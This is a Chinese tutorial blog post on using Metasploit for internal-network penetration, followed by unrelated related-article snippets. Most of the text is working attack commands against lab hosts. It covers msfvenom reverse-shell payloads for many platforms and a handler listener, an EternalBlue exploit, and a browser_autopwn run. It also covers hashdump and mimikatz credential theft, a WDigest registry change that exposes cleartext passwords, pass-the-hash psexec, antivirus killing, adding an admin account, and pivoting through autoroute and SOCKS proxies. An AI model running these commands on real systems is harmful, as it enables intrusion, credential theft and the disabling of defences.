内网MSF--从入门到熟练

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit
作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开
发自己的漏洞脚本,从而进行测试。

一:基础命令

1.启动

shell中运行msfconlose
image.png

2.建立数据库

MSF数据库是为了得到的结果存入数据库,首次运行msf会发现没有连接数据库,需要自己手工建立。
db_status
image.png
可以看到是PostgreSQL数据库,启动一下

service postgresql start    #启动数据库
msfdb init        #初始化数据库
msfconsole db_status       #查看连接情况
msfconsole db_rebuild_cache       #建立数据库缓存

启动数据库后可能还是会出现连不上的问题
image.png
exit先退出来,在外边shell启动数据库

msfdb start               #启动
netstat -pantu | grep 5432         #查看端口

image.png
再进入msf,此时数据库应该已经连接。
image.png

常用命令

show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退 set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
Cd 更改当前的工作目录
核心命令
Sessions 转储会话列表并显示有关会话的信息
Color 切换颜色
Set 将特定于上下文的变量设置为一个值
Connect 连接与主机通信
Setg 将全局变量设置为一个值
exit 退出控制台
sleep 在指定的秒数内不做任何事情
get 获取特定于上下文的变量的值
spool 将控制台输出写入文件以及屏幕
getg 获取全局变量的值
threads 线程查看和操作后台线程
grep grep 另一个命令的输出
unload 卸载框架插件
history 显示命令历史
unset 取消设置一个或多个特定于上下文的变量
irb 进入irb脚本模式
unsetg 取消设置一个或多个全局变量
load 加载一个框架插件
version 显示框架和控制台库版本号
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
数据库后端命令
analyze 分析有关特定地址或地址范围的数据库信息
db_connect 连接到现有数据服务
db_disconnect 断开与当前数据服务的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(将自动检测文件类型)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_remove 删除已保存的数据服务条目
db_save 将当前数据服务连接保存为启动时重新连接的默认值
db_status 显示当前数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭据后端命令
creds 列出数据库中的所有凭据
模块命令
Advanced 显示一个或多个模块的高级选项
Back 从当前上下文返回
Edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
setdesktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
run vnc #使用vnc远程桌面连接

二:msfvenom

在MSF中,一般我们生成payload程序后门之类的都是用msfvenom,msfvenom是攻击载荷生成和编码器。

1.主要参数

-p payload
-e 编码方式,指定编码器,可以实现免杀
-i 编码次数。指定编码迭代次数,一般配合免杀使用
-b: 去掉坏字符,坏字符会影响payload 正常执行
LHOST,LPORT 监听上线的主机IP和端口
-f 指定生成格式,如exe 生成EXE格式
-o 指定文件名称和导出位置
-l 可以查看可以利用payload
msfvenom -l
| grep windows | grep x64 | grep tcp 选择payload

2.生成可执行文件

使用msfvenom生成可执行的后门文件,各种文件生成命令如下:
linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=Port shell.elf
image.png
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT= Port -f exe > shell.exe
image.png
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

3.设置监听

use exploit/multi/handler #使用监听模块
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 172.16.0.4
set ExitOnSession false  #让connection保持连接
exploit     #攻击,可以添加参数,-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)

其他命令

jobs 查看后台攻击任务
kill <id> 停止某后台攻击任务
sessions -l (查看会话)
backgroup 放置后台
sessions 1 选择会话
sessions -k 1 结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话

4.实验

目标靶机:
Windows server 2008: 192.168.200.130
攻击机:
kali linux : 192.168.200.128

msf生成攻击payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.128 LPORT=4444 -f exe > shell.exe
image.png
msf启动监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
设置options
image.png
exploit
image.png
kali开启http服务模拟投毒web站点
image.png
此时Windows用户下载并运行shell.exe,获取到对方权限
image.png
可以看到这里的meterpreter并不是一个可以执行命令的shell

三:Meterpreter后渗透

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

1.常用命令

帮助菜单

background – 将当前会话移动到背景
  bgkill – 杀死一个背景 meterpreter 脚本
  bglist – 提供所有正在运行的后台脚本的列表
  bgrun – 作为一个后台线程运行脚本
  channel – 显示活动频道
  close – 关闭通道
  exit – 终止 meterpreter 会话
  help – 帮助菜单
  interact – 与通道进行交互
  irb – 进入 Ruby 脚本模式
  migrate – 移动到一个指定的 PID 的活动进程
  quit – 终止 meterpreter 会话
  read – 从通道读取数据
  run – 执行以后它选定的 meterpreter 脚本
  use – 加载 meterpreter 的扩展
  write – 将数据写入到一个通道

文件系统命令

cat -读取并输出到标准输出文件的内容
  cd -更改目录对受害人
  del -删除文件对受害人
  download-从受害者系统文件下载
  edit-用 vim编辑文件
  getlwd -打印本地目录
  getwd -打印工作目录
  lcd -更改本地目录
  lpwd -打印本地目录
  ls -列出在当前目录中的文件列表
  mkdir -在受害者系统上的创建目录
  pwd -输出工作目录
  rm -删除文件
  rmdir -受害者系统上删除目录
  upload-从攻击者的系统往受害者系统上传文件

网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
  portfwd -端口转发
  route -查看或修改受害者路由表

系统命令

clearav -清除了受害者的计算机上的事件日志
  drop_token -被盗的令牌
  execute-执行命令
  getpid -获取当前进程 ID (PID)
  getprivs -尽可能获取尽可能多的特权
  getuid -获取作为运行服务器的用户
  kill -终止指定 PID 的进程
  ps -列出正在运行的进程
  reboot-重新启动受害人的计算机
  reg -与受害人的注册表进行交互
  rev2self -在受害者机器上调用 RevertToSelf()
  shell -在受害者计算机上打开一个shell
  shutdown-关闭了受害者的计算机
  steal_token -试图窃取指定的 (PID) 进程的令牌
  sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

用户界面命令

enumdesktops -列出所有可访问台式机
  getdesktop -获取当前的 meterpreter 桌面
  idletime -检查长时间以来,受害者系统空闲进程
  keyscan_dump -键盘记录软件的内容转储
  keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
  keyscan_stop -停止键盘记录软件
  screenshot-抓去 meterpreter 桌面的屏幕截图
  set_desktop -更改 meterpreter 桌面
  uictl -启用用户界面组件的一些控件

特权升级命令

getsystem -获得系统管理员权限

密码转储命令

hashdump -抓去哈希密码 (SAM) 文件中的值

下面是我常用的一些命令

meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式:去掉如下参数前面的注释

image.pngimage.png

四:MSF实现自动化攻击

metasploit-autopwn是一个很强大的模块,能够让MSF实现对目标的全自动化渗透测试。
项目地址:
https://github.com/hahwul/metasploit-autopwn
1.安装metasploit-autopwn模块

cd /usr/share/metasploit-framework/plugins
git clone https://github.com/hahwul/metasploit-db_autopwn.git
cd metasploit-db_autopwn/
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/

image.png
启动msf加载模块
load db_autopwn
image.png
如下可实现对任何连接到系统8000端口的目标进行自动化渗透攻击。

msf6 > load db_autopwn
[*] Successfully loaded plugin: db_autopwn
msf6 > use auxiliary/server/browser_autopwn
msf6 auxiliary(server/browser_autopwn) > options

Module options (auxiliary/server/browser_autopwn):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST                     yes       The IP address to use for reverse-connect payloads
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. Thi
                                       s must be an address on the local machine or 0.0.0.0
                                       to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly
                                        generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Start a bunch of modules and direct clients to appropriate exploits



View the full module info with the info, or info -d command.

msf6 auxiliary(server/browser_autopwn) > set rhosts 192.168.200.130
[!] Unknown datastore option: rhosts. Did you mean URIHOST?
rhosts => 192.168.200.130
msf6 auxiliary(server/browser_autopwn) > set srvport 8000
srvport => 8000
msf6 auxiliary(server/browser_autopwn) > set lhost 192.168.200/128
[-] The following options failed to validate: Value '192.168.200/128' is not valid for option 'LHOST'.
lhost => 
msf6 auxiliary(server/browser_autopwn) > set LHOST 192.168.200.128
LHOST => 192.168.200.128
msf6 auxiliary(server/browser_autopwn) > set uripath /
uripath => /
msf6 auxiliary(server/browser_autopwn) > exploit
[*] Running module against 192.168.200.130
[*] Auxiliary module running as background job 0.

[*] Setup
msf6 auxiliary(server/browser_autopwn) > 
[*] Starting exploit modules on host 192.168.200.128...
[*] ---

[*] Starting exploit android/browser/webview_addjavascriptinterface with payload android/meterpreter/reverse_tcp

......

[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse TCP handler on 192.168.200.128:6666 
[*] Started reverse TCP handler on 192.168.200.128:7777 

[*] --- Done, found 0 exploit modules

[-] No exploits, check your MATCH and EXCLUDE settings
[*] Cleaning up exploits...

五:内网实验

目标主机:
Windows server 2008 (192.168.200.130)存在ms17010永恒之蓝漏洞

MS17010攻击

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.200.130
exploit

image.png
获取meterpreter

抓取目标主机密码

使用hashdump抓取密码
image.png
得到目标主机hash值
注:mimikatz在新版本msf中已经取消,mimikatz模块已经合并为kiwi模块
image.png
常用命令

load kiwi

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

creds_all命令直接获取密码
image.png
由于mimikatz只是集成在了kiwi模块中,如果想使用mimikatz命令也是可以kiwi_cmd直接实现的,kiwi_cmd 模块可以让我们使用mimikatz的全部功能。
image.png
在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册
表的方式抓取明文,需要用户重新登录后才能成功抓取

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

psexec

MSF中也是有psexec模块的,抓取到hash密码后

use exploit/windows/smb/psexec
set SMBUser Administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:ae74afe74b7c6c328c901bf54a704396
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.200.128
set lport 6666
set rhosts 192.168.200.130
exploit

image.png

开启远程桌面

shell开启

REG查看RDP端口

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

image.png
开启RDP

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
enable_rdp模块

enable_rdp模块可以实现开启RDP

run post/windows/manage/enable_rdp

image.png
验证开启
image.png
关闭

run multi_console_command -r /root/.msf4/loot/20231225131125_default_192.168.200.130_host.windows.cle_755971.txt
getgui模块
run getgui -e 开启远程终端
run post/windows/manage/enable_rdp
run getgui -u m -p QWEasd123 添加本地管理员

端口转发

如果服务器防火墙开启的情况下,有可能拦截远程终端端口,使用命令把远程端口3389转发出来
转发3389端口

portfwd add -l 1234 -p 3389 -r 192.168.200.130
rdesktop 127.0.0.1:1234

image.png
image.png

跨路由访问

在渗透测试过程中,经常拿到web主机与数据库不同在一个网段,可以得出这台主机还连着一个内网,
如果想要继续渗透内网,可以把这台web主机当作跳板机,对内网进行渗透

实验环境
域控:
windows2012
192.168.3.33
administrator/Admin12345
 
域内成员主机:

windows2008
192.168.3.22
192.168.200.134
administrator/admin!@#45
xd\dbadmin/admin!@#45
 
域内成员主机:
windows7
192.168.3.11
administrator/admin!@#45
xd\dbadmin/admin!@#45

攻击机:
kalilinux
192.168.200.128

kali不通192.168.3.0段
通过永恒之蓝拿到Windows2008的meterpreter
获取内网网卡命令
run get_local_subnets
image.png
绑定路由 不绑定路由就没法访问目标主机

run autoroute -s 192.168.3.0/24
route add 192.168.3.0 255.255.255.0 1
run autoroute -p

image.png
使用socks5隧道,这个代理就是开启了一个socks代理,监听vps本地端口,然后再通过这个端口将流量转给msf,msf转发给路由,所以能将流量直接带入到内网中
use auxiliary/server/socks_proxy
show options设置代理ip为127.0.0.1
image.png
编辑隧道配置文件
sudo vi /etc/proxychains4.conf
image.png
msf 使用代理访问目标

setg Proxies socks5:192.168.200.199:1080
set ReverseAllowProxy true

proxychains nmap -p 1-10000 -Pn -sT 192.168.3.11
image.png
成功代理打通网段

域信息收集

MSF常用信息收集模块

auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname

收集域信息

run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录
的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token

定位域控、抓取密码、查看域内主机
image.png

密码喷洒

auxiliary/gather/kerberos_enumusers #Kerberos 用户名枚举–用户名字典
set DOMAIN XIAODI.LOCAL
set rhosts 192.168.200.134
set user_file 字典路径
exploirt

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/269798.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

python实现多层级复选框选中

pythonpyqt5实现多层级复选框选中 效果如何插入一段漂亮的代码片 效果 如何插入一段漂亮的代码片 去博客设置页面&#xff0c;选择一款你喜欢的代码片高亮样式&#xff0c;下面展示同样高亮的 代码片. // An highlighted block class filterWindow(QWidget):def __init__(sel…

路径规划最全综述+代码+可视化绘图(Dijkstra算法+A*算法+RRT算法等)

路径规划综述 1. 背景介绍 路径规划是指在给定的环境中找到从起点到终点的最佳路径的过程。它在现实生活中有着广泛的应用&#xff0c;包括无人驾驶、物流配送、机器人导航等领域。随着人工智能和计算机技术的发展&#xff0c;路径规划技术也在不断地得到改进和应用。 路径规划…

【hacker送书第11期】Python数据分析从入门到精通

探索数据世界&#xff0c;揭示未来趋势 《Python数据分析从入门到精通》是你掌握Python数据分析的理想选择。本书深入讲解核心工具如pandas、matplotlib和numpy&#xff0c;助您轻松处理和理解复杂数据。 通过matplotlib、seaborn和创新的pyecharts&#xff0c;本书呈现生动直…

web前端游戏项目-辨色大比拼【附源码】

web前端游戏项目-辨色大比拼【附源码】 《辨色大比拼》是一个旨在测试和提升玩家颜色识别能力的在线游戏。在游戏中&#xff0c;玩家将通过辨识颜色来解谜并推进游戏进程。辨色大比拼也是一个寓教于乐的游戏&#xff0c;它不仅提供了一个有趣的辨色挑战&#xff0c;还能帮助玩…

[C/C++]数据结构: 链式二叉树的构建及遍历

一: &#x1f4ac;二叉树的概念 1.1:&#x1f6a9; 概念 二叉树是指树中节点的度不大于2的有序树,它是一种最简单且重要的树,二叉树的递归定义为:二叉树是一颗空树,或者是一颗由一个根节点和两颗互不相交的,分别称为跟的左孩子和右孩子树组成的非空树,其中左子树和右子树都是二…

Linux部署MeterSphere结合内网穿透实现远程访问服务管理界面

文章目录 前言1. 安装MeterSphere2. 本地访问MeterSphere3. 安装 cpolar内网穿透软件4. 配置MeterSphere公网访问地址5. 公网远程访问MeterSphere6. 固定MeterSphere公网地址 前言 MeterSphere 是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、UI 测试和性能测试等功能&am…

【网络编程】基于UDP数据报实现回显服务器程序

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【网络编程】【Java系列】 本专栏旨在分享学习网络编程的一点学习心得&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 前言 我们如果…

Python基础入门第六节课笔记

while循环 for循环用于针对序列中的每个元素的一个代码块。 while循环是不断的运行&#xff0c;直到指定的条件不满足为止。 while 条件&#xff1a; 条件成立重复执行的代码1 条件成立重复执行的代码2 …….. 当条件成立时&#xff0c;执行下方缩…

【JavaEE初阶一】线程的概念与简单创建

1. 认识线程&#xff08;Thread&#xff09; 1.1 关于线程 1.1.1 线程是什么 由前一节的内容可知&#xff0c;进程在进行频繁的创建和销毁的时候&#xff0c;开销比较大&#xff08;主要体现在资源的申请和释放上&#xff09;&#xff0c;线程就是为了解决上述产生的问题而提…

软件测试 —— 如何测试图片上传功能?

作为一名专业的软件测试人员&#xff0c;测试图片上传功能是一个重要的任务&#xff0c;以下是一些测试该功能的常用方法&#xff1a; 1. 上传功能测试&#xff1a;确保图片上传功能正常工作&#xff0c;包括选择图片文件、点击上传按钮、上传进度显示、上传成功/失败的提示等。…

postman的下载安装和使用

第一章、使用postman向后端发送请求 1.2&#xff09;postman下载与安装使用 我的百度网盘postman点击下载 提取码&#xff1a;bybp 下载后双击.exe文件直接安装 点击此次创建集合 点击此处创建请求 1.2&#xff09;发送get请求 选择自己的请求方式&#xff0c;输入请求…

1861_什么是H桥

Grey 全部学习内容汇总&#xff1a; GitHub - GreyZhang/g_hardware_basic: You should learn some hardware design knowledge in case hardware engineer would ask you to prove your software is right when their hardware design is wrong! 1861_什么是H桥 H桥电路可以…

Qt动态连接库/静态连接库创建与使用,QLibrary动态加载库

问题&#xff1a;下图中是一个生成库的模块&#xff0c;其中qglobal.h的使用有点疑惑&#xff0c;可以参考下文链接。 ​​​​​​​​​​​​https://www.cnblogs.com/techiel/p/8035014.htmlhttps://www.cnblogs.com/techiel/p/8035014.html

Redis过期删除策略和内存淘汰策略

1、设置Redis键过期时间 Redis提供了四个命令来设置过期时间&#xff08;生存时间&#xff09;。 EXPIRE <key> <ttl> &#xff1a;表示将键 key 的生存时间设置为 ttl 秒。 PEXPIRE <key> <ttl> &#xff1a;表示将键 key 的生存时间设置为 ttl 毫秒。…

算法基础之最长上升子序列 II

最长上升子序列 II 核心思想&#xff1a;不去遍历全部的数据(会有冗余) 用vector模拟栈 ①如果该元素大于栈顶元素,将该元素入栈 ②替换掉第一个大于或者等于这个数字的那个数&#xff08;二分&#xff09; #include<iostream>#include<algorithm>#include&l…

Kafka日志文件存储

日志文件 kafka在server.properties配置文件中通过log.dir属性指定了Kafka的日志存储路径 核心文件 1. log文件 实际存储消息的日志文件, 大小固定1G(参数log.segment.bytes可配置), 写满后就会新增一个新的文件, 文件名是第一条消息的偏移量 2. index文件 以偏移量为索引…

4.9【共享源】流的多生产者和消费者

当一个系统中存在多个生产者和消费者时&#xff0c;情况可能会变得复杂。 了解生产者和消费者流之间支持的基数非常重要。 本质上&#xff0c;一个生产者流可以与多个消费者流连接&#xff0c;但一个消费者流只能连接到一个生产者流。请注意&#xff0c;基数关系仅限于单个流&…

3D渲染农场什么比较好用 2024渲染农场最新收费实测

随着数字设计领域的进步与发展&#xff0c;对于3D渲染服务的需求日益增加。3D渲染农场这一概念因此变得极为重要&#xff0c;特别是在电影制作、建筑可视化以及产品设计等行业中。现在&#xff0c;让我们深入了解3D渲染农场的定义以及市面上优秀的3D渲染服务提供商。 一、什么是…

Ai画板原理

在创建时画板可以选择数量和排列方式 也可以采用这个图片左上的画板工具&#xff0c;选择画板在其他地方画框即可生成&#xff0c;同时可以在属性框中可以修改尺寸大小 选择全部重新排列可以进行创建时的布局

STM32 支持IAP的bootloader开发,使用串口通过Ymodem协议传输固件

资料下载: https://download.csdn.net/download/vvoennvv/88658447 一、概述 关于IAP的原理和Ymodem协议&#xff0c;本文不做任何论述&#xff0c;本文只论述bootloader如何使用串口通过Ymodem协议接收升级程序并进行IAP升级&#xff0c;以及bootloader和主程序两个工程的配置…